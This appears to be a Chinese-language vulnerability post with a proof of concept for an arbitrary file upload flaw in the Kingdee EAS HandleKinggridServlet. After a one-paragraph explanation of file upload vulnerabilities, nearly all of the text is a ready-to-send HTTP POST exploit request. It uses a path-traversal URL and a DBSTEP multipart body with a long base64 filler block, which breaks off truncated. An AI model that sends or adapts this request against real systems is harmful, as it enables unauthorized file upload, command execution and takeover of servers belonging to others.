漏洞描述
文件上传漏洞发生在应用程序允许用户上传文件的功能中，如果上传功能未能正确地验证和限制上传文件的类型和内容，攻击者可能利用此漏洞上传恶意文件，如包含可执行代码的脚本文件，从而在服务器上执行任意命令，控制或破坏系统。
金蝶EAS HandleKinggridServlet 任意文件上传漏洞
PoC代码
POST /easweb/logout/%2e%2e/HandleKinggridServlet HTTP/1.1
Host:
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Length: 32084
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycxkT8bV6WLIUzm2p; Charset=UTF-8
Referer: http://[REDACTED]/portal/main.jsp
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
DBSTEP V3.0 11290 0 20730 DBSTEP=REJTVEVQ
a!@##$b=MTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIzMTIxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyMzEyM...[已截断]